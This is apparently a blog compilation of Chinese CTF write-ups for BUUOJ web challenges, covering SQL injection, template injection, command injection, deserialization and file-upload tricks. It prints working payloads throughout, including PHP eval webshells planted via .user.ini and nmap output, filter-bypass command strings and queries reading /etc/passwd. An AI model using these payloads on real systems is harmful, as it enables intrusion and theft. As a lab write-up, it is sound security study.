BUUOJ Web 一分题 WriteUp 合集

想了很久怎么给自己一点刷题动力,感觉得靠兴趣驱使。再加上有点想垂直上分,也增加一点技术力,所以就开了这波实时更新的小合集。有一部分的环境会尝试自己去搭建。(想改善一下玩 Docker 的技术力,而且也想收集一下题目原本很好玩的 flag)还有部分题目会被单独分离出来(譬如咱打过的比赛啥的),所以并不完整,嘿嘿。

[护网杯 2018]easy_tornado

首先分别点进提供的三个页面,收集一波 hint,可以得到 md5(cookie_secret+md5(filename)) flag in /fllllllllllllag 这两个提示,还有一个 render。因为提示了是 tornado 的模板注入,但是接触得比较少,于是就查了一下,找到了这样的内容。

在tornado模板中,存在一些可以访问的快速对象,例如 {{ escape(handler.settings["cookie"]) }}

handler 指向 RequestHandler

而 RequestHandler.settings 又指向 self.application.settings

所有 handler.settings 就指向 RequestHandler.application.settings 了!

但是目前是没有利用点的。这个时候,把题目的 GET 参数一通乱改之后出现了一个报错页面。欸,好机会!构造了一个 error?msg={{7*'7'}} 结果返回了 ORZ。基本上确定是利用点了,但是我还是想确定一下,于是构造了 error?msg={{~1}},得到了 -2 的反馈,于是得以确认。根据上面查到的结果,构造 error?msg={{handler.settings}} 得到 cookie_secretcae74968-3bf4-4be4-8505-e2db1c865c15。根据上面的 hint 构造 filename=/fllllllllllllag&filehash=6740f481f040fa14e844929205445908 即可得到 flag。

1
flag{f69df34c-c28c-4aa9-9bfe-7e73f9e61690}

[HCTF 2018]WarmUp

首先看了一波源码,找到 source.php 然后 source 可读,其中还有个 hint.php。于是去看 hint.php,得到了一个提示 flag not here, and flag in ffffllllaaaagggg。这里有一个点,因为一开始的构造决定了前两个检验必不可能 true,因此只能看后面 url 解码之后的校验,那就要保证构造能安全地通过这两个地方而不被截断。因为源码会不断地尝试截取问号前面的内容(当没有问号就在最后接一个问号然后截断,也就是相当于没有截断),因此只要在 source.php 后面编码一个问号 %3f,就能达成在解码后再截断的目的,从而可以通过 in_array($_page, $whitelist) 的检验从而返回 true。接下来就是目录穿越一波,构造 ?file=source.php?/../../../../../../ffffllllaaaagggg 得到 flag。

1
hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

[强网杯 2019]随便注

既然是随便注嘛,上手试试看 1'# 发现显示是正常的,于是进一步构造 1' union select 1,2,3 # 然后就被 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 挡下来了。因为没得 select 了,查了一下,堆叠注入比较靠谱,于是构造一波 1';show databases;# 得到了正确的反馈。于是 1';show tables;#,看到了一个很可疑的表 1919810931114514。用 1';desc `1919810931114514`;# 查一波这个表的结构可以发现 flag 的字段。

关键在于如何去读取它,查了一波之后发现可以悄悄地把表换掉,于是打出一套组合操作。

1
2
3
RENAME TABLE `words` TO `wordstmp`;
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;

这样之后,默认所查的 words 表就变成了包含 flag 的表,这个时候随便构造个 1' or 1=1#一读就能拿到 flag。

1
flag{d2d32fa6-a7b4-44d0-8648-71ae2f1d1353}

[SUCTF 2019]EasySQL

氦,这题我是真的写不出来,查了一波发现很多师傅说这题可以查到源码,但是我怎么扫都扫不出QAQ。对照着看了一波,发现需要把原本的 || 安排掉。这点使用 PIPES_AS_CONCAT 可以达成,于是构造 1;set sql_mode=PIPES_AS_CONCAT;select 1 成功拿到 flag。

源码中的 sql 语句是 $sql = "select ".$post['query']."||flag from Flag";,构造之后就变成了三句语句。

1
2
3
SELECT 1;
set sql_mode=PIPES_AS_CONCAT;
SELECT 1,flag from flag;
1
SUCTF{SUCTF_baby_sql_chall_120993n810h3}

[HCTF 2018]admin

这题在修改密码的页面给了个注释 hint,定向到 GitHub,上面有题目的源码。好奇的我看了一波同用户的其他 repo,找到了这题的环境,然后在 readme 看到了考点,于是顺着一找,找到了 这篇文章。于是就注册一波 ᴬᴰᴹᴵᴺ 然后登录再修改密码,再用 admin 和修改的密码登录即可得到 flag。

关于对于 Unicode 字符的生成可以参考 这个页面

1
hctf{un1cOdE_cHe4t_1s_FuNnying}

[RoarCTF 2019]Easy Calc

首先随便算一个数,然后看看请求,发现请求给了 calc.php。尝试直接访问,发现源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

利用点就是最后的 eval()。这波没给引号,于是有两种方案:使用 chr() 配合 ASCII 来构造,或者使用 hex 和按位取反来构造(这个是后来看这个题解的时候学到的。但是构造成 ?num=1;var_dump(scandir(chr(47))); 之后 403 了。于是返回去看,发现首页源码中提了一句 WAF。于是顺手查了一波,发现可以使用一个空格去绕过。于是构造 ?%20num=1;var_dump(scandir(chr(47)));,成功得到反馈。得到 f1agg 的线索。于是接下来构造 ?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); 来读取这个文件,成功得到 flag。

1
flag{d7899aa0-16b1-4752-95f5-b9c5037caffa}

[SUCTF 2019]CheckIn

啊,是看起来很熟悉的上传文件。老套路,构造好之后上传再用蚁剑连接就行。这里有一个要点,就是使用 .user.ini 来实现加载 php 文件之前加载一个指定的文件。

1
2
3
4
#.user.ini
#define width 10
#define height 10
auto_prepend_file=flag.jpg #append for after

在 flag.jpg 里写上一句话。

1
2
3
//flag.jpg
GIF89a?
<script language="php">eval($_POST['payload']);</script>

上传之后根据反馈可以知道 index.php 文件也与上传的文件位于一个目录下,因此只需要访问 index.php 即可达到目的。于是蚁剑访问 .../uploads/48cd8b43081896fbd0931d204f947663/index.php 然后打开文件管理即可得到 flag。

1
SUCTF{U5er_1n1_01d_TR1ck}

[CISCN2019 华北赛区 Day2 Web1]Hack World

这题,稍微试了一下之后发现是盲注,找了一下真和假的标记,掏出之前的二分模板,构造 $sql = "(ascii(substr((select(flag)from(flag))," . $i . ",1))>" . $_mid . ")^0"; 一顿怼,就能跑出 flag。

1
flag{f6bbbf99-0f93-4687-b2a4-5afc16dab5f5}

[网鼎杯 2018]Fakebook

首先上来一顿操作之后发现了 /view.php?no=1 这个注入利用点,一顿操作之后会发现 flag 根本不在数据库里,反而是一段序列化的字符串存在 data 字段。毕竟是网鼎杯,当然没有那么简单。尝试几下没有反馈之后查了一下,发现这题是有源码泄露的,于是下载下来。很容易发现是个反序列化,但是它有点不一样,但是主要的利用点在 blog 这个字段。当时的我并不知道要读啥文件,后来看了很多文章,有师傅说能扫出 flag.php。我还是太菜了

于是这里就能接着往下构造了,我随便序列化了一下,得到了 O:8:"UserInfo":3:{s:4:"name";s:5:"lemon";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";},然后就是接着注入啦。按照一般套路,先构造 select/**/1,2,3,4 看看回显在哪里,然后可以看到在 2 的地方。然后就是想办法使回显按照我们序列化的字段来。因此,只需要构造 .../view.php?no=2333/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"lemon";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' /**/from/**/users%23。这样页面就会尝试读取 flag.php。然后查看页面源码,然后 base64 解码即可得到 flag。

1
flag{9e34256a-b20b-4776-86d0-bbebd2aecd02}

[De1CTF 2019]SSRF Me

这题首先就给了源码,复制下来仔细地整理(这里我就不贴了,占版面,网上一搜就有)。首先因为定义了 waf() 导致不能使用 gopherfile。但这同时也给了我们一个指向性信息,结合 hint 可知我们需要做的是读取文件 flag.txt。

不难发现向 /Delta 发送请求最后可以执行到 Exec() 从而读文件。因此需要三个参数,准确地来说有两个是 Cookie。接下来看 Exec(),要读取文件并输出的话需要在参数 action 中包含 readscan。于是构造 action=readscanparam 自然就是 flag.txt。接下来就是解决 sign 的环节。

题目给出了一个路由 /geneSign 用来生成 sign,需要的是 actionparam,但是这里的 action 被固定了,不好下手。跟着代码来到 getSign(),发现了拼接 secert_key + param + action,于是只要把原本请求里的 param 构造成 flag.txtread 就能生成对应的可用 sign 了。

将生成的 sign 跟上述的两个参数一起以对应的形式向 /Delta 发起请求即可得到 flag。

1
flag{4b706878-1516-4a40-9aea-1f393a4b1650}

[GXYCTF2019]Ping Ping Ping

按照很简洁的提示 /?ip= 试了一波,发现加上分号之后可以执行更多命令。于是试了一波 ls,发现了 flag.php,只要想办法读它就行了。试了一下之后发现 flag 和 空格都被 ban 了。于是查了一波,发现 $IFS$2 可以用来代替空格。加上可以使用变量来代替 flag 里的一部分字符,就可以构造出 o=g;cat$IFS$2fla$o.php。发送请求之后查看网页源码即可得到 flag。

1
GXY(1_sh0uld_ban_Icmp_4tFirst)

[ZJCTF 2019]NiZhuanSiWei

开局一段代码,都是老套路,构造 text=data://text/plain,welcome to the zjctf 过掉判断,然后再构造 file=php://filter/convert.base64-encode/resource=useless.php 读取一下 useless.php。Base64 解码之后得到 useless.php。

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这波挺简单,放到 IDE 里随便序列化一下,得到 O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";} 之后放进参数 password 里。然后发起请求(x 这里不对呐~

因为还要加载 useless.php 反序列化才能起效果,所以要修改原来 php 伪协议的构造,最后构造出 .../?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";} 得到一串 base64 字符串,解码后得到 flag。

1
flag{8e991b07-be12-4339-9fbc-e895b87b9bc2}

[ACTF2020 新生赛]Include

这波是简单题,看一下 url 之后构造简单的文件包含 .../?file=php://filter/convert.base64-encode/resource=flag.php。将内容 base64 解码后得到 flag。

1
flag{39ad315b-01ff-4d4e-9560-635a28d81a17}

[ACTF2020 新生赛]Exec

这波也是简单题,直接一个 & 连接命令,构造 114.114.114.114 & cat /flag,就能输出 flag。

1
flag{3cb2f161-aed1-423f-9eed-c93fa2fc2328}

[RoarCTF 2019]Easy Java

本来准备留到后面写这题的,但是跟堆堆讨论的时候他跟我透露了是源码泄露,所以干脆就先写一写。既然标题是 Easy Java,加上拿到的资料,在看到题目给出的 help 的 url 之后果断构造下载一波 WEB-INF/web.xml。不过仍然遇到了点问题,需要使用 POST 请求才能下载到文件。下载下来之后发现有一个 com.wm.ctf.FlagController,于是再构造一波 WEB-INF/classes/com/wm/ctf/FlagController.class 来下载这个文件。下载之后打开来我一时懵了,毕竟是编译过的东西,所以看起来乱七八糟,愣是没发现有段 base64。不过问题不大,把 base64 字符串解码之后就是 flag。

1
flag{db7dab97-1cd7-48ad-b991-66ec0c3dc816}

[BUUCTF 2018]Online Tool

啊,这题开门见山,给了一段代码,一看就不简单(bushi)。稍微一看就知道,传入一个参数,两道过滤之后执行,利用点肯定在 nmap 指令。于是就去查一波这个指令的手册,可以看到这样一条允许我们直接写如文件的参数。

1
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,and Grepable format, respectively, to the given filename.

同时 sandbox 的路径会在成功之后输出。因此,想办法写入一句话然后用蚁剑去连上就行啦。

先来看看 nmap,使用上面的那个参数,构造 nmap -T5 -sT -Pn --host-timeout 2 -F '<?php eval($_POST["pick"]);?>' -oG pick.php 尝试,得到一个 pick.php 文件。

1
2
# Nmap 7.80 scan initiated Tue Apr 28 01:07:48 2020 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG pick.php "<?php eval($_POST["pick"]);?>"
# Nmap done at Tue Apr 28 01:07:48 2020 -- 0 IP addresses (0 hosts up) scanned in 0.07 seconds

可以发现语句已经完整地写入进去了。再看过滤的那两个函数,根据 PHP 手册的说明,escapeshellarg() 这个函数会转义所有引号然后用引号包起来,同时在字符串两端加上引号。escapeshellcmd() 会在部分字符前加上 \(在 Windows 下会有所不同,建议使用 Linux 环境尝试。)因此,先假定整个 payload 为 A,正常来说它会被 escapeshellarg() 变成 'A'。如果我们在 A 前后再加上一个单引号,就会变成 ''\''A'\''',这个时候因为有反斜杠转义,所以这个 payload 还是不太对。但是 escapeshellcmd() 的出现是一个助攻,它会在反斜杠前加个反斜杠转义,那 payload 就成了 ''\\''A'\\''',这个时候,所有引号闭合,A 暴露在语句中,执行写入就成功了。用蚁剑连上去即可得到 flag。

1
flag{2fba51b2-2f0b-42b4-ac84-144f7c7b39e3}

[ACTF2020 新生赛]BackupFile

这题首先提示备份和 source file,略微找一下不难找到(实在找不到就扫描器嘛)index.php.bak。审计一波可以发现 $key = intval($key);$key 坐实成整数了,然后把整数和字符串相比,那字符串就会被截断了,所以这个地方的 $str 最后是 123。所以,只需要使传入的参数值为 123 即可得到 flag。

1
flag{30d4e82b-b8b5-42ea-aaec-fb00ad067bad}

[WUSTCTF2020]朴实无华

这题不知道为啥,上来报了个错。(写完了题目之后发现并没有用 一顿倒腾之后可以发现 robots.txt 的存在,然后根据线索访问到 fAke_f1agggg.php。这个页面一定有线索,排查之后发现响应里有 Look_at_me: /fl4g.php,访问一波,来到了最后亿步的页面。

首先是 intval($num) < 2020 && intval($num + 1) > 2021 这个点,查了一波之后发现了神奇操作,intval 的返回值在大于 2147483647 之后会变得奇奇怪怪,试了一波,以字符串传入科学计数法也会被截断,但是当加上一个数字之后又正常了,所以,整个 1e4 构造一句 echo (intval("1e4") < 2020 && intval("1e4" + 1) > 2021)?"true":"false"; 试试看,很巧的是在 php 5.6 下,这句会返回 true 而 php 7.2 下返回的是 false。原因是 intval("1e4") 在 php 7.2 下不会再被截断而正常转化。

接着的点是 $md5==md5($md5),这就很有意思了,好在它是个弱比较,于是很容易想到用科学计数法的套路,于是写个脚本跑一下(期间的时间足够泡完一杯咖啡再喝上两口),找到 0e215962017 的 MD5 也以 0e 开头,于是这个点达成。

最后是两个小点,空格的过滤用 $IFS$2 绕过,cat 不给用就用 tac。但是,在这之前得先读个目录,毕竟题目没说 flag 在哪。于是首先构造 .../fl4g.php?num=1e4&md5=0e215962017&get_flag=ls 得到 flag 所在,然后再构造 /fl4g.php?num=1e4&md5=0e215962017&get_flag=tac$IFS$2fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag 得到 flag。

1
wctf2020{s1mple_php_1s_v3ry_e@sy_and_here_1s_y0ur_stupid_flag_wish_u_h@ve_@_go0d_time_enj0y_1t}

[WUSTCTF2020]颜值成绩查询

朴实无华的界面又报了两个错,不过依旧没什么用。回过头来看查询,那应该是数据库操作了。稍微试了一手之后发现是 GET 参数与输入框的对应,猜测一波查询语句可能是 SELECT SCORE FROM TABLE WHERE ID=,于是尝试布尔盲注,构造一波 if((ascii(substr((select(database())),1,1))<1),1,0) 检测发现大于 1 和小于 1 的时候分别对应 Hi admin, your score is: 100student number not exists.。于是拿出之前的二分法模板,稍作修改就可以用了。

1
2
3
4
5
6
7
8
爆表
if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>1),1,0)

爆列
if((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),1,1))>1),1,0)

爆 flag
if((ascii(substr((select(value)from(flag)),1,1))>1),1,0)

这里又出现了常规操作,真的 flag 不在 flag 里反而在 value 里。

1
wctf2020{e@sy_sq1_and_y0u_sc0re_1t}

[CISCN2019 华东南赛区]Web11

这题上来给了俩接口,暗示 X-Forwarded-For,然后当前 IP 会在页面上显示,于是想到了模板注入,试了一手之后发现真的是,而且是 Smarty。一番查找之后找到了参考。于是果断构造 {if print_r(file_get_contents('/flag'))}{/if},放到 X-Forwarded-For 的位置请求。之后在页面源码中可以找到 flag。

1
flag{291d99ce-2668-4b27-bc1a-da2c4aa567e2}

[安洵杯 2019]easy_web

RegexpMD5FileInclusionfastcoll

题目的页面一打开就显示了两张图,很不一样的是有一张是 Base64 嵌入在网页里的,这种做法一般比较少。于是看了一眼 url,发现有两个参数,其中的 img 给的很像是 Base64 编码。于是尝试补全等号然后解码,发现更像了,于是再解密了一次,得到了 3535352e706e67。看起来像 hex,尝试解码后果然得到了线索 555.png。于是便想到包含文件。把 index.php 一顿操作之后得到了页面源码(这里截取 php 部分)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>

观察到可以执行的点是参数 cmd,但是正则过滤十分苛刻。这里有一个点,对于 php 来说,正则需要使用 \\\ 来匹配才能匹配到反斜杠,所以实际上反斜杠还能用。在一番查找下,我找到了另外一个可以用的指令 sort。于是这部分就有了两种解决方法。

1
2
ca\t /fla\g
sort /flag

剩下的就是 MD5 碰撞的问题。一番查找之下,我找到了一个生成 MD5 碰撞字符串的工具。生成好之后把字符串分别 urlencode 之后组合成 POST 参数,使用 Burpsuite 发送请求(HackBar 依旧没有成功)。有一个比较神奇的点是,我在把 POST 请求最后的换行符去掉之后才请求成功的。有可能是这个原因导致使用 HackBar 无法成功得到 flag。

这里贴上我使用的两个参数

1
a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D1B%A9%11U%DD%AF%15vu%0F%DA%F6%7Dd%8B%DE%0A%AD%91r%DE%8De%07%9AC%AE%2A%BAF%DBw%BD%BB%E3%DE%E0%AD4gZ_%5C%13%1E%19F%28%7B%A8%D1%7F%2C%17%9BO%12%B4%8A%2B%DA%B9%E1%0F%0F%EBAT%07%213kujM%9DS%97%02%B3M%5DHd%DC%91%C1%AB%C3+%E8%B7_%A8%C7%D3%FDz%E8%9F%021%1E4%01%C83%12%0C%1B%8C%F6%CA%CA%CA%93K%40%5D%94%C8%AE%D0%A6%09Q%2B&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D1B%A9%11U%DD%AF%15vu%0F%DA%F6%7Dd%8B%DE%0A%AD%11r%DE%8De%07%9AC%AE%2A%BAF%DBw%BD%BB%E3%DE%E0%AD4gZ_%5C%13%9E%19F%28%7B%A8%D1%7F%2C%17%9BO%12%B4%0A%2B%DA%B9%E1%0F%0F%EBAT%07%213kujM%9DS%97%02%B3M%5D%C8d%DC%91%C1%AB%C3+%E8%B7_%A8%C7%D3%FDz%E8%9F%021%1E4%01%C83%12%8C%1A%8C%F6%CA%CA%CA%93K%40%5D%94%C8%AEP%A6%09Q%2B

准确无误地发送封包之后可以得到 flag。

1
flag{f9dccbe4-f6d1-4928-9904-fc1e1d39944d}

[GXYCTF2019]禁止套娃

RegexpRCESessionSource Leak

题目开始就只有一句话,Header 和 Cookie 也没得线索,于是果断扫目录,发现 /.git 响应长度不一样。于是果断上 GitHack 拿到了首页源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

啊,看这正则过滤,多么美妙,真实的一个参数都不给你。不过不慌,我可是搜过半小时相关知识点的萌新。先构造个 scandir(current(localeconv())) 看一下根目录有啥。这里的原理就是 localeconv() 输出的数组中第一个一定是一个 .。根据结果发现 flag.php 在根目录。于是就得想办法读取它啦,但是它不在数组的第一个,有两种办法来读到它。把数组反过来然后整个 next(),也就是 highlight_file(next(array_reverse(scandir(pos(localeconv())))))。或者简单粗暴,整个 flip 和 rand readfile(array_rand(array_flip(scandir(current(localeconv()))))) 不停地刷新,就能刷到啦。

我还查到了一种神奇的做法,利用 session 来完成。首先在 Console 里面执行 document.cookie="PHPSESSID=flag.php" 指定 SessionId。然后 exp 写 show_source(session_id(session_start())); 就能成功读到 flag.php 从而拿到 flag 了。

1
flag{5f914f8d-550d-4c3a-bdae-345f50997b0d}

[网鼎杯 2018]Comment

Source LeakSQL Injectiongithacker

这题是事先就被透露了是 git 源码泄露的,其实还有个要点,Console 里说没有 commit,这点很重要。调整 git 的 HEAD 才能拿到完整的源码,使用到的工具是 githacker。恢复源码之后可以拿到 write_do.php。仔细读一读,不难发现,修改的时候 $category = mysql_fetch_array($result)['category'];,这里的变量 $category 会被直接传入 SQL 语句中。所以只要想办法使 content 变成我们想要的数据就行了。所以,可以使 category',content=payload/* 然后提交之后再修改 content 使其为 */# 闭合一个注释然后把后面的语句都注释掉,这个时候,语句变化了,这样就能使 content 输出我们需要的内容。

1
2
3
4
5
$sql = "insert into comment
set category = '',content=payload/*',
content = '*/#',
bo_id = '$bo_id'";
"insert into comment set category = '',content=payload/**/#"

一开始我是想直接找到用户密码的,尝试读取 /etc/passwd/etc/shadow 未果之后,我又长了新知识。根据 /etc/passwd 下的提示 ,www 用户可以使用 bash,于是查询该用户的 .bash_history 找到了线索,读取 /tmp/html/.DS_Store。这里还有个要点,因为文件太长了,使用 load_file() 读取的时候可能显示不完整,所以就用 hex() 转换一下,构造 ',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*,解码之后找到了线索 flag_ 8946e1ff1ee3e40f.php。按照一样的套路读取这个文件可以读取到 flag。

1
flag{bcd19c68-e4eb-43d7-845a-7a51bce22828}